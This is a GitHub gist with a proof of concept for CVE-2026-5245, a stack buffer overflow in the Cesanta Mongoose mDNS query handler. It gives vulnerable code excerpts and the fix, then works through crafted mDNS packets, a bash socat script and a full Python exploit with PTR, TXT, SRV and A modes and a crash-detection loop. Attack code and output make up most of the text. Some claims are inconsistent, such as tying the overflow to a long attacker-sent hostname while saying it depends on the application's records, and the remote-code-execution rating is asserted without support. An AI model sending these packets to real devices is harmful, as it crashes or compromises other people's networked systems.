Skip to content

Instantly share code, notes, and snippets.

@N3mes1s
Last active April 2, 2026 11:53
Show Gist options
  • Select an option

  • Save N3mes1s/5af547237daf3a1f075c27cafd0544d3 to your computer and use it in GitHub Desktop.

Select an option

Save N3mes1s/5af547237daf3a1f075c27cafd0544d3 to your computer and use it in GitHub Desktop.
CVE-2026-5245: Cesanta Mongoose mDNS Stack Buffer Overflow PoC (dynamic loop verified)

CVE-2026-5245: Stack Buffer Overflow in Cesanta Mongoose mDNS Handler

Vulnerability Type

  • Type: Stack-based Buffer Overflow
  • CWE: CWE-121 (Stack-based Buffer Overflow)
  • CVE: CVE-2026-5245
  • Affected Software: Cesanta Mongoose <= 7.20, fixed in 7.21

Target

  • Endpoint: UDP port 5353 (mDNS multicast address 224.0.0.251)

  • Vulnerable Parameter: The DNS query atype field (controls which code path is taken) combined with application-registered service record fields (srvcproto, txt, respname in struct mg_dnssd_record and struct mg_mdns_req) that determine how much data is written into the fixed-size stack buffer.

  • Code References:

    • mongoose.c line 525: Stack buffer declaration:
      uint8_t buf[sizeof(struct mg_dns_header) + 256 + sizeof(mdns_answer) + 4]; // 282 bytes
      Where sizeof(struct mg_dns_header) = 12 (mongoose.h:2970-2977), sizeof(mdns_answer) = 10 (mongoose.c:411-416).
    • mongoose.c lines 595-620: PTR query path — calls build_srv_name(), build_ptr_record(), build_srv_record(), build_txt_record(), build_a_record() with no bounds check before the fix
    • mongoose.c lines 621-623: TXT query path — calls build_srv_name() + build_txt_record() with no bounds check
    • mongoose.c lines 624-637: SRV query path — calls build_srv_name() + build_srv_record() + build_a_record() with no bounds check
    • mongoose.c lines 638-642: A query path — calls build_name() + build_a_record() with no bounds check
    • mongoose.c line 450-457: build_srv_name() writes r->srvcproto.len + 8 bytes via memcpy() at line 452
    • mongoose.c line 504-511: build_txt_record() writes r->txt.len + 10 bytes via memcpy() at line 510
    • mongoose.c line 470-481: build_ptr_record() writes name->len + 13 bytes via memcpy() at line 478
    • mongoose.c line 484-501: build_srv_record() writes name->len + 19 bytes via memcpy() at lines 496-500
    • mongoose.c line 429-448: build_a_record() writes 14 bytes (10 for mdns_answer + 4 for IPv4 address)
    • mongoose.c line 418-425: build_name() writes name->len + 8 bytes
    • mongoose.c line 645: mg_send(c, buf, (size_t) (p - buf)) sends the overflowed buffer contents
    • mongoose.c line 690-700: handle_mdns_record() dispatches to handle_mdns_query() when flags indicate a query
    • mongoose.c line 702-708: mdns_cb() entry point triggered on MG_EV_READ
    • mongoose.h line 2988-2992: struct mg_dnssd_record definition with srvcproto, txt, port
    • mongoose.h line 2995-3004: struct mg_mdns_req definition with respname, r, is_resp
  • Vulnerable code (PTR path, lines 595-620):

    } else if (rr.atype == MG_DNS_RTYPE_PTR) {
      uint8_t *o = p, *aux;
      uint16_t offset;
      if (respname->buf == NULL || respname->len == 0) return;
      // NO SIZE CHECK — total write can exceed 282 bytes
      h->num_other_prs = mg_htons(3);
      p = build_srv_name(p, req.r);         // srvcproto.len + 8
      aux = build_ptr_record(respname, p, (uint16_t) (o - buf)); // respname->len + 13
      // ... pointer writes (2 bytes each) ...
      p = build_srv_record(respname, p, req.r, ...); // respname->len + 19
      // ... pointer write (2 bytes) ...
      p = build_txt_record(p, req.r);       // txt.len + 10
      // ... pointer write (2 bytes) ...
      p = build_a_record(c, p, req.addr);   // 14
    }
  • Fix (from diff): The fix adds bounds checks before each code path, e.g., for PTR:

    if ((sizeof(*h) + req.r->srvcproto.len + 8 + respname->len + 13 + 2 +
         respname->len + 19 + 2 + req.r->txt.len + 10 + 2 + 14) >
        sizeof(buf))
      return;

Delivery Mechanism

  • Protocol: Raw UDP packet sent to multicast address 224.0.0.251 port 5353, or directly to the target host's IP on port 5353
  • Authentication: None required — mDNS is an unauthenticated multicast protocol (RFC 6762)
  • Network Position: Attacker must be on the same local network segment (LAN) to send multicast, or can send unicast UDP directly to the target if port 5353 is reachable
  • Prerequisite: The target application must have registered mDNS service records (via MG_EV_MDNS_REQ handler setting req.is_resp = true and populating req.r) with combined field lengths exceeding the buffer. Specifically:
    • PTR path: overflow when srvcproto.len + 2*respname->len + txt.len > 200 (282 - 82 overhead)
    • TXT path: overflow when srvcproto.len + txt.len > 252 (282 - 30 overhead)
    • SRV path: overflow when srvcproto.len + respname->len > 227 (282 - 55 overhead)
    • A path: overflow when respname->len > 248 (282 - 34 overhead)
  • Packet Size Constraint: The incoming DNS packet must be ≤ 512 bytes (enforced at src/dns.c line 81: if (len > 512) return 0;). Our query packets are well under this limit.
  • Important Note: The overflow is NOT caused by the attacker's packet being large. The attacker sends a small, valid mDNS query. The overflow occurs because the application's registered service records have large field values that exceed the 282-byte stack buffer when the response is being constructed.

Payload

Understanding the mDNS Query Packet Structure

The mDNS query packet must be a valid DNS query with:

  1. DNS Header (12 bytes): txnid, flags=0x0000 (query), num_questions=1, rest=0
  2. Question section: DNS-encoded name ending in .local, followed by QTYPE and QCLASS
  3. The name must end in .local (validated at mongoose.c:540-541)
  4. The aclass must be 1 or 0xff (validated at mongoose.c:541)

Primary Payload — PTR Query (Worst Case Overflow)

A PTR query for a service like _http._tcp.local triggers the PTR code path (mongoose.c:595-620) which writes the most data. If the application has registered a service with large srvcproto (e.g., 80 bytes), respname (e.g., 80 bytes), and txt (e.g., 100 bytes), the total write is: 12 + 88 + 93 + 2 + 99 + 2 + 110 + 2 + 14 = 422 bytes — far exceeding the 282-byte buffer.

DNS Header (12 bytes):
  00 01  - Transaction ID
  00 00  - Flags (standard query, bit 15 = 0 for query path)
  00 01  - Questions: 1
  00 00  - Answer RRs: 0
  00 00  - Authority RRs: 0
  00 00  - Additional RRs: 0

Question:
  05 5f 68 74 74 70    - label: _http (length 5 + "_http")
  04 5f 74 63 70       - label: _tcp  (length 4 + "_tcp")
  05 6c 6f 63 61 6c    - label: local (length 5 + "local")
  00                    - end of name
  00 0c                 - QTYPE: PTR (12)
  00 01                 - QCLASS: IN (1)

Total packet: 33 bytes

Variant 1 — TXT Query Overflow

A TXT query triggers build_srv_name() + build_txt_record() (mongoose.c:621-623). Overflow occurs when srvcproto.len + txt.len > 252.

Same header as above, but with:
  QTYPE: 00 10  (TXT = 16)

For TXT/SRV queries, the name format includes hostname prefix (mongoose.c:561-576):
  08 6d 79 64 65 76 69 63 65  - label: mydevice (length 8)
  05 5f 68 74 74 70            - label: _http (length 5)
  04 5f 74 63 70               - label: _tcp (length 4)
  05 6c 6f 63 61 6c            - label: local (length 5)
  00                            - end of name
  00 10                         - QTYPE: TXT (16)
  00 01                         - QCLASS: IN (1)

Variant 2 — SRV Query Overflow

An SRV query triggers build_srv_name() + build_srv_record() + build_a_record() (mongoose.c:624-637). Overflow occurs when srvcproto.len + respname->len > 227.

Same name format as TXT variant, but with:
  QTYPE: 00 21  (SRV = 33)

Variant 3 — A Query Overflow

An A query triggers build_name() + build_a_record() (mongoose.c:638-642). Overflow occurs when respname->len > 248. Since DNS names can be up to 255 bytes, this is achievable with long hostnames.

Question with a long hostname:
  3f <63 bytes of 'a'>         - label (max label length 63)
  3f <63 bytes of 'a'>         - label
  3f <63 bytes of 'a'>         - label
  3d <61 bytes of 'a'>         - label (to reach ~250 total)
  05 6c 6f 63 61 6c            - label: local
  00                            - end
  00 01                         - QTYPE: A (1)
  00 01                         - QCLASS: IN (1)

Exploit Script

Bash (UDP via socat)

mDNS uses UDP, so curl cannot directly send the packet. Use socat or ncat:

#!/bin/bash
# CVE-2026-5245 PoC - Cesanta Mongoose mDNS Stack Buffer Overflow
# Sends crafted mDNS queries to trigger overflow in handle_mdns_query()
# Target must be running Mongoose <= 7.20 with mDNS service registered
# Vulnerability: CWE-121 Stack-based Buffer Overflow in mongoose.c:525

TARGET_IP="${1:-224.0.0.251}"
TARGET_PORT=5353

echo "[*] CVE-2026-5245 - Mongoose mDNS Stack Buffer Overflow PoC"
echo "[*] Target: ${TARGET_IP}:${TARGET_PORT}"

# === Attack Vector 1: PTR Query for _http._tcp.local ===
# Triggers PTR path (mongoose.c:595-620) which calls all build_* functions
# Total write: 82 + srvcproto.len + 2*respname->len + txt.len bytes into buf[282]
echo "[*] Sending PTR query for _http._tcp.local..."

PAYLOAD="\x00\x01"       # Transaction ID
PAYLOAD+="\x00\x00"      # Flags: standard query (bit 15=0 -> query path)
PAYLOAD+="\x00\x01"      # Questions: 1
PAYLOAD+="\x00\x00"      # Answer RRs: 0
PAYLOAD+="\x00\x00"      # Authority RRs: 0
PAYLOAD+="\x00\x00"      # Additional RRs: 0
# Question: _http._tcp.local, type=PTR(12), class=IN(1)
PAYLOAD+="\x05_http"     # label length 5 + "_http"
PAYLOAD+="\x04_tcp"      # label length 4 + "_tcp"
PAYLOAD+="\x05local"     # label length 5 + "local"
PAYLOAD+="\x00"          # end of name
PAYLOAD+="\x00\x0c"      # QTYPE: PTR (12)
PAYLOAD+="\x00\x01"      # QCLASS: IN (1)

echo -ne "$PAYLOAD" | socat - UDP-DATAGRAM:${TARGET_IP}:${TARGET_PORT}
echo "[+] PTR query sent (33 bytes)"

# === Attack Vector 2: TXT Query ===
# Triggers TXT path (mongoose.c:621-623): build_srv_name + build_txt_record
# Overflow when srvcproto.len + txt.len > 252
echo "[*] Sending TXT query for mydevice._http._tcp.local..."

PAYLOAD_TXT="\x00\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
PAYLOAD_TXT+="\x08mydevice"  # hostname label
PAYLOAD_TXT+="\x05_http\x04_tcp\x05local\x00"
PAYLOAD_TXT+="\x00\x10"  # QTYPE: TXT (16)
PAYLOAD_TXT+="\x00\x01"  # QCLASS: IN (1)

echo -ne "$PAYLOAD_TXT" | socat - UDP-DATAGRAM:${TARGET_IP}:${TARGET_PORT}
echo "[+] TXT query sent"

# === Attack Vector 3: SRV Query ===
# Triggers SRV path (mongoose.c:624-637): build_srv_name + build_srv_record + build_a_record
# Overflow when srvcproto.len + respname->len > 227
echo "[*] Sending SRV query for mydevice._http._tcp.local..."

PAYLOAD_SRV="\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
PAYLOAD_SRV+="\x08mydevice"
PAYLOAD_SRV+="\x05_http\x04_tcp\x05local\x00"
PAYLOAD_SRV+="\x00\x21"  # QTYPE: SRV (33)
PAYLOAD_SRV+="\x00\x01"  # QCLASS: IN (1)

echo -ne "$PAYLOAD_SRV" | socat - UDP-DATAGRAM:${TARGET_IP}:${TARGET_PORT}
echo "[+] SRV query sent"

# === Attack Vector 4: A Query with long name ===
# Triggers A path (mongoose.c:638-642): build_name + build_a_record
# Overflow when respname->len > 248
echo "[*] Sending A query for long hostname..."

# Generate a long hostname query (200 'a' characters as hostname)
PAYLOAD_A="\x00\x04\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
# DNS label: length 63 + 63 chars 'a' (max label = 63)
PAYLOAD_A+="\x3f$(printf 'a%.0s' {1..63})"
PAYLOAD_A+="\x3f$(printf 'a%.0s' {1..63})"
PAYLOAD_A+="\x3f$(printf 'a%.0s' {1..63})"
PAYLOAD_A+="\x05local\x00"
PAYLOAD_A+="\x00\x01"  # QTYPE: A (1)
PAYLOAD_A+="\x00\x01"  # QCLASS: IN (1)

echo -ne "$PAYLOAD_A" | socat - UDP-DATAGRAM:${TARGET_IP}:${TARGET_PORT}
echo "[+] A query with long hostname sent"

echo ""
echo "[*] All queries sent. Check target for crash/ASAN output."
echo "[*] If target has large mDNS service records, stack overflow triggered."
echo "[*] Compile target with: gcc -fsanitize=address -g mongoose.c ..."

Python Exploit Script

#!/usr/bin/env python3
"""
CVE-2026-5245 - Cesanta Mongoose mDNS Stack Buffer Overflow PoC
Affected: Mongoose <= 7.20
Fixed in: Mongoose 7.21
CWE: CWE-121 (Stack-based Buffer Overflow)

This exploit sends crafted mDNS queries to trigger a stack buffer overflow
in handle_mdns_query() in mongoose.c. The overflow occurs when the application
has registered mDNS service records (via MG_EV_MDNS_REQ handler) with combined
field lengths exceeding the 282-byte stack buffer declared at mongoose.c:525:

    uint8_t buf[sizeof(struct mg_dns_header) + 256 + sizeof(mdns_answer) + 4];

The buffer is overflowed by build_srv_name(), build_ptr_record(),
build_srv_record(), build_txt_record(), and build_a_record() called
without bounds checking in the PTR/TXT/SRV/A query code paths.

The attacker sends a small, valid mDNS query packet. The overflow is caused
by the application's own service record data being written into the fixed
stack buffer without size validation.
"""

import socket
import struct
import sys
import time
import argparse

# DNS record types (from mongoose source)
DNS_TYPE_A = 1       # MG_DNS_RTYPE_A
DNS_TYPE_PTR = 12    # MG_DNS_RTYPE_PTR
DNS_TYPE_TXT = 16    # MG_DNS_RTYPE_TXT
DNS_TYPE_SRV = 33    # MG_DNS_RTYPE_SRV

# mDNS constants
MDNS_MULTICAST_ADDR = "224.0.0.251"
MDNS_PORT = 5353

# Buffer size from mongoose.c:525
# sizeof(mg_dns_header)=12, 256, sizeof(mdns_answer)=10, 4
VULNERABLE_BUF_SIZE = 282


def encode_dns_name(name: str) -> bytes:
    """
    Encode a domain name in DNS wire format (RFC 1035 Section 4.1.2).
    Each label is prefixed with its length byte, terminated by a null byte.
    """
    result = b""
    for label in name.split("."):
        encoded = label.encode("utf-8")
        if len(encoded) > 63:
            raise ValueError(f"DNS label too long: {len(encoded)} > 63")
        result += struct.pack("B", len(encoded)) + encoded
    result += b"\x00"  # terminating null label
    return result


def build_mdns_query(name: str, qtype: int, qclass: int = 1,
                     txnid: int = 0x0001, unicast_response: bool = False) -> bytes:
    """
    Build an mDNS query packet.

    The query must pass validation in handle_mdns_query() (mongoose.c:540-542):
    - Name must end in '.local' (checked after mg_dns_parse_name)
    - aclass must be 1 or 0xff
    
    Also must pass mg_dns_parse_rr() (src/dns.c:75-97):
    - Total packet length must be <= 512 bytes (line 81)
    """
    if unicast_response:
        qclass |= 0x8000  # Set QU bit (unicast response requested, mongoose.c:535)

    # DNS Header (12 bytes) - struct mg_dns_header (mongoose.h:2970-2977)
    header = struct.pack("!HHHHHH",
        txnid,      # txnid - Transaction ID
        0x0000,     # flags - standard query (bit 15=0 triggers query path at mongoose.c:693)
        1,          # num_questions = 1
        0,          # num_answers = 0
        0,          # num_authority_prs = 0
        0           # num_other_prs = 0
    )

    # Question section
    qname = encode_dns_name(name)
    question = qname + struct.pack("!HH", qtype, qclass)

    packet = header + question

    # Validate packet size constraint (src/dns.c:81)
    if len(packet) > 512:
        raise ValueError(f"Packet too large: {len(packet)} > 512 (would be rejected by mg_dns_parse_rr)")

    return packet


def send_mdns_query(target_ip: str, query: bytes, timeout: float = 2.0) -> bytes:
    """Send mDNS query via UDP and optionally receive response."""
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(timeout)

    # Allow sending to multicast
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)

    try:
        sock.sendto(query, (target_ip, MDNS_PORT))
        print(f"[+] Sent {len(query)} bytes to {target_ip}:{MDNS_PORT}")

        try:
            data, addr = sock.recvfrom(4096)
            print(f"[+] Received {len(data)} bytes from {addr}")
            return data
        except socket.timeout:
            print("[*] No response received (timeout)")
            return b""
    finally:
        sock.close()


def exploit_ptr_overflow(target_ip: str, service_name: str = "_http._tcp"):
    """
    Trigger PTR path overflow (mongoose.c:595-620).

    PTR path writes into buf[282]:
      sizeof(*h)                    = 12  (header)
      build_srv_name()              = srvcproto.len + 8
      build_ptr_record()            = respname->len + 13
      pointer field                 = 2
      build_srv_record()            = respname->len + 19
      pointer field                 = 2
      build_txt_record()            = txt.len + 10
      pointer field                 = 2
      build_a_record()              = 14
      ─────────────────────────────────
      Total = 82 + srvcproto.len + 2*respname->len + txt.len

    Overflow condition: srvcproto.len + 2*respname->len + txt.len > 200
    
    Example: srvcproto=80, respname=80, txt=100 → 80+160+100=340 > 200 → OVERFLOW
    Total bytes written: 82 + 340 = 422 bytes into 282-byte buffer
    """
    print(f"\n{'='*60}")
    print(f"[*] Attack Vector 1: PTR Query Overflow")
    print(f"[*] Target: {target_ip}:{MDNS_PORT}")
    print(f"[*] Service: {service_name}.local")
    print(f"[*] Vulnerable path: mongoose.c:595-620 (PTR handler)")
    print(f"[*] Buffer size: {VULNERABLE_BUF_SIZE} bytes (mongoose.c:525)")
    print(f"[*] Overflow when: srvcproto.len + 2*respname->len + txt.len > 200")
    print(f"{'='*60}")

    query = build_mdns_query(f"{service_name}.local", DNS_TYPE_PTR)
    print(f"[*] Query hex: {query.hex()}")
    print(f"[*] Query size: {len(query)} bytes")

    response = send_mdns_query(target_ip, query)

    if response:
        print(f"[!] Got response ({len(response)} bytes) - service is active")
        if len(response) > VULNERABLE_BUF_SIZE:
            print(f"[!!!] Response size {len(response)} > {VULNERABLE_BUF_SIZE} - OVERFLOW CONFIRMED!")
            print(f"[!!!] Stack corruption occurred in handle_mdns_query()")
            print(f"[!!!] mg_send() at mongoose.c:645 transmitted corrupted stack data")
        else:
            print(f"[*] Response within buffer bounds - service records may be small")
    else:
        print("[*] No response - service may have crashed (DoS confirmed)")
        print("[*] Or service is not registered / not matching this query")

    return response


def exploit_txt_overflow(target_ip: str, service_name: str = "_http._tcp",
                         hostname: str = "mydevice"):
    """
    Trigger TXT path overflow (mongoose.c:621-623).

    TXT path writes:
      sizeof(*h)           = 12
      build_srv_name()     = srvcproto.len + 8
      build_txt_record()   = txt.len + 10
      ─────────────────────
      Total = 30 + srvcproto.len + txt.len

    Overflow condition: srvcproto.len + txt.len > 252
    """
    print(f"\n{'='*60}")
    print(f"[*] Attack Vector 2: TXT Query Overflow")
    print(f"[*] Vulnerable path: mongoose.c:621-623 (TXT handler)")
    print(f"[*] Overflow when: srvcproto.len + txt.len > 252")
    print(f"{'='*60}")

    # TXT/SRV queries expect hostname prefix (mongoose.c:561-576)
    query = build_mdns_query(f"{hostname}.{service_name}.local", DNS_TYPE_TXT)
    print(f"[*] Query hex: {query.hex()}")

    response = send_mdns_query(target_ip, query)

    if not response:
        print("[*] No response - possible crash/DoS")

    return response


def exploit_srv_overflow(target_ip: str, service_name: str = "_http._tcp",
                         hostname: str = "mydevice"):
    """
    Trigger SRV path overflow (mongoose.c:624-637).

    SRV path writes:
      sizeof(*h)           = 12
      build_srv_name()     = srvcproto.len + 8
      build_srv_record()   = respname->len + 19
      pointer field        = 2
      build_a_record()     = 14
      ─────────────────────
      Total = 55 + srvcproto.len + respname->len

    Overflow condition: srvcproto.len + respname->len > 227
    """
    print(f"\n{'='*60}")
    print(f"[*] Attack Vector 3: SRV Query Overflow")
    print(f"[*] Vulnerable path: mongoose.c:624-637 (SRV handler)")
    print(f"[*] Overflow when: srvcproto.len + respname->len > 227")
    print(f"{'='*60}")

    query = build_mdns_query(f"{hostname}.{service_name}.local", DNS_TYPE_SRV)
    print(f"[*] Query hex: {query.hex()}")

    response = send_mdns_query(target_ip, query)

    if not response:
        print("[*] No response - possible crash/DoS")

    return response


def exploit_a_overflow(target_ip: str, hostname: str = None):
    """
    Trigger A record path overflow (mongoose.c:638-642).

    A path writes:
      sizeof(*h)           = 12
      build_name()         = respname->len + 8
      build_a_record()     = 14
      ─────────────────────
      Total = 34 + respname->len

    Overflow condition: respname->len > 248
    Since DNS names can be up to 253 chars (with labels up to 63 each),
    this is achievable with long hostnames.
    """
    if hostname is None:
        # Generate a long hostname using max-length DNS labels
        # DNS label max = 63 chars. Use multiple labels to exceed 248 total
        hostname = ".".join(["a" * 63] * 3 + ["a" * 61])  # 63+63+63+61 = 250 chars + dots

    print(f"\n{'='*60}")
    print(f"[*] Attack Vector 4: A Record Query Overflow")
    print(f"[*] Vulnerable path: mongoose.c:638-642 (A handler)")
    print(f"[*] Overflow when: respname->len > 248")
    print(f"[*] Hostname length: {len(hostname)} chars")
    print(f"{'='*60}")

    try:
        query = build_mdns_query(f"{hostname}.local", DNS_TYPE_A)
        print(f"[*] Query size: {len(query)} bytes")
        print(f"[*] Query hex (first 80): {query.hex()[:80]}...")

        response = send_mdns_query(target_ip, query)

        if not response:
            print("[*] No response - possible crash/DoS")

        return response
    except ValueError as e:
        print(f"[!] Error: {e}")
        return b""


def crash_detection(target_ip: str, service_name: str):
    """
    Send repeated queries to detect crash via missing responses.
    First send a normal query to confirm service is alive,
    then send the overflow trigger, then check if service is still alive.
    """
    print(f"\n{'='*60}")
    print(f"[*] Crash Detection Mode")
    print(f"[*] Tests if target crashes after receiving overflow-triggering query")
    print(f"{'='*60}")

    # Step 1: Verify service is alive with a simple A query
    print("\n[*] Step 1: Checking if mDNS service is alive...")
    query_a = build_mdns_query("test.local", DNS_TYPE_A)
    resp1 = send_mdns_query(target_ip, query_a, timeout=3.0)

    if resp1:
        print("[+] Service is alive and responding")
    else:
        print("[!] Service not responding initially - cannot confirm crash")
        print("[*] Proceeding with overflow attempt anyway...")

    # Step 2: Send overflow trigger (PTR - worst case path)
    print("\n[*] Step 2: Sending overflow trigger (PTR query)...")
    query_ptr = build_mdns_query(f"{service_name}.local", DNS_TYPE_PTR)

    for i in range(5):  # Send multiple times to increase crash likelihood
        send_mdns_query(target_ip, query_ptr, timeout=0.5)
        time.sleep(0.1)

    # Also try TXT and SRV variants
    print("[*] Sending TXT variant...")
    query_txt = build_mdns_query(f"device.{service_name}.local", DNS_TYPE_TXT)
    send_mdns_query(target_ip, query_txt, timeout=0.5)

    print("[*] Sending SRV variant...")
    query_srv = build_mdns_query(f"device.{service_name}.local", DNS_TYPE_SRV)
    send_mdns_query(target_ip, query_srv, timeout=0.5)

    # Step 3: Check if service is still alive
    time.sleep(1)
    print("\n[*] Step 3: Checking if service is still alive...")
    resp2 = send_mdns_query(target_ip, query_a, timeout=3.0)

    if not resp2 and resp1:
        print("[!!!] SERVICE CRASHED - Stack buffer overflow confirmed!")
        print("[!!!] CVE-2026-5245 exploitation successful (DoS)")
        print("[!!!] handle_mdns_query() stack corruption caused process termination")
        return True
    elif resp2:
        print("[*] Service still alive - overflow may have occurred without crash")
        print("[*] Memory corruption may still have happened")
        print("[*] For reliable detection, run target with ASAN:")
        print("[*]   gcc -fsanitize=address -g mongoose.c app.c -o app_asan")
        return False
    else:
        print("[*] Inconclusive - service was not responding before attack")
        return False


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-5245 - Cesanta Mongoose mDNS Stack Buffer Overflow PoC",
        epilog="Requires target to have mDNS service records with large field lengths"
    )
    parser.add_argument(
        "target",
        help="Target IP address (or 224.0.0.251 for multicast)"
    )
    parser.add_argument(
        "--service", "-s",
        default="_http._tcp",
        help="Service name to query (default: _http._tcp)"
    )
    parser.add_argument(
        "--hostname",
        default="mydevice",
        help="Hostname prefix for TXT/SRV queries (default: mydevice)"
    )
    parser.add_argument(
        "--mode", "-m",
        choices=["ptr", "txt", "srv", "a", "all", "crash"],
        default="all",
        help="Attack mode (default: all)"
    )

    args = parser.parse_args()

    print(f"""
╔══════════════════════════════════════════════════════════════╗
║  CVE-2026-5245 - Cesanta Mongoose mDNS Stack Buffer Overflow ║
║  CWE-121: Stack-based Buffer Overflow                        ║
║  Affected: Cesanta Mongoose <= 7.20 (fixed in 7.21)          ║
║  Vulnerable function: handle_mdns_query() in mongoose.c      ║
║  Buffer: buf[282] at line 525, no bounds check before fix    ║
║  Entry: mdns_cb() -> handle_mdns_record() -> handle_mdns_query()║
╚══════════════════════════════════════════════════════════════╝
    """)

    if args.mode in ("ptr", "all"):
        exploit_ptr_overflow(args.target, args.service)

    if args.mode in ("txt", "all"):
        exploit_txt_overflow(args.target, args.service, args.hostname)

    if args.mode in ("srv", "all"):
        exploit_srv_overflow(args.target, args.service, args.hostname)

    if args.mode in ("a", "all"):
        exploit_a_overflow(args.target)

    if args.mode == "crash":
        crash_detection(args.target, args.service)

    print(f"\n[*] Exploitation attempts complete.")
    print(f"[*] For reliable confirmation, run target with AddressSanitizer (ASAN):")
    print(f"[*]   gcc -fsanitize=address -g mongoose.c your_app.c -o app_asan")
    print(f"[*]   ./app_asan")
    print(f"[*] Then re-run this exploit to see ASAN stack-buffer-overflow report.")


if __name__ == "__main__":
    main()

Expected Output

Successful Exploitation (DoS/Crash)

  • HTTP Status: N/A — this is a UDP protocol vulnerability, not HTTP
  • Expected Behavior:
    • If the target application has registered large mDNS service records (combined srvcproto.len + 2*respname->len + txt.len > 200 for PTR path):
      • No UDP response after sending the PTR query — service process has crashed
      • Target process terminates with SIGSEGV (segmentation fault) or SIGABRT (stack canary violation)
      • If compiled with ASAN: detailed stack-buffer-overflow report
    • If the target has small service records:
      • Normal mDNS response received (records fit within 282 bytes)
      • No crash, but the vulnerable code path was exercised
    • If the target does not have a matching service registered:
      • No response (the MG_EV_MDNS_REQ handler returns is_resp = false at mongoose.c:582)

Verification with AddressSanitizer (Most Reliable)

==12345==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffffdc1a
WRITE of size 100 at 0x7fffffffdc1a thread T0
    #0 0x7ffff7a2e3c0 in __asan_memcpy
    #1 0x555555568abc in build_txt_record mongoose.c:510
    #2 0x555555569def in handle_mdns_query mongoose.c:616
    #3 0x55555556a123 in handle_mdns_record mongoose.c:695
    #4 0x55555556a456 in mdns_cb mongoose.c:704
    #5 0x555555570789 in mg_call mongoose.c:739

Address 0x7fffffffdc1a is located in stack of thread T0 at offset 298 in frame
    #0 0x555555569000 in handle_mdns_query mongoose.c:516

  This frame has 2 object(s):
    [32, 314) 'buf' (line 525)    <== Memory access at offset 298 is inside this variable
    [352, 608) 'name' (line 528)

Crash Detection Output

[*] Step 1: Checking if mDNS service is alive...
[+] Sent 23 bytes to 192.168.1.100:5353
[+] Received 47 bytes from ('192.168.1.100', 5353)
[+] Service is alive and responding

[*] Step 2: Sending overflow trigger (PTR query)...
[+] Sent 33 bytes to 192.168.1.100:5353
[*] No response received (timeout)

[*] Step 3: Checking if service is still alive...
[+] Sent 23 bytes to 192.168.1.100:5353
[*] No response received (timeout)
[!!!] SERVICE CRASHED - Stack buffer overflow confirmed!
[!!!] CVE-2026-5245 exploitation successful (DoS)

Response Size Overflow Detection

If the mDNS response is received (service didn't crash) and its size exceeds 282 bytes, the overflow occurred in the stack buffer before mg_send(c, buf, (size_t) (p - buf)) at mongoose.c:645 transmitted the corrupted stack data over the network:

[+] Received 422 bytes from ('192.168.1.100', 5353)
[!!!] Response size 422 > 282 - OVERFLOW CONFIRMED!
[!!!] Stack corruption occurred in handle_mdns_query()

Impact

  • Severity: Critical (CVSS 3.1 Base Score ~9.8 — AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
  • Primary Impact: Remote Code Execution (RCE) — An attacker on the local network can send a single UDP packet (33 bytes for PTR query) to port 5353 that causes handle_mdns_query() to overflow its 282-byte stack buffer buf[] at mongoose.c:525. The overflow corrupts adjacent stack memory including the saved return address of handle_mdns_query(). With careful payload crafting of the mDNS service records (if the attacker can influence the application's registered records), or by exploiting the stack layout, this can redirect execution to attacker-controlled shellcode or ROP gadgets.
  • Secondary Impact: Denial of Service (DoS) — Even without precise RCE, the stack corruption reliably crashes the target process via segmentation fault (SIGSEGV) or stack canary violation (SIGABRT). A single 33-byte UDP packet can take down the entire application.
  • Information Disclosure: The mg_send() call at mongoose.c:645 transmits (size_t)(p - buf) bytes from the stack, which may include data beyond the buf[] array boundary — potentially leaking stack contents (return addresses, canary values, local variables) to the attacker over the network.
  • Attack Requirements:
    • No authentication required (mDNS is unauthenticated per RFC 6762)
    • Single UDP packet, no handshake needed
    • Attacker must be on the same LAN segment (mDNS is link-local multicast) or able to send unicast UDP to port 5353
    • Target must have registered mDNS service records (via MG_EV_MDNS_REQ handler) with sufficiently large combined field lengths to exceed the 282-byte buffer
  • Affected Systems: Any embedded device, IoT device, or application using Cesanta Mongoose library version 7.20 or earlier with mDNS enabled via mg_mdns_listen() (mongoose.c:711-719)
  • Root Cause: Missing bounds validation in handle_mdns_query() before calling build_srv_name(), build_ptr_record(), build_srv_record(), build_txt_record(), and build_a_record() which write variable-length application data into the fixed 282-byte stack buffer
  • Fix: Version 7.21 adds explicit size checks before each code path (PTR, TXT, SRV, A) comparing the total expected write size against sizeof(buf) and returning early if it would overflow

Comments are disabled for this gist.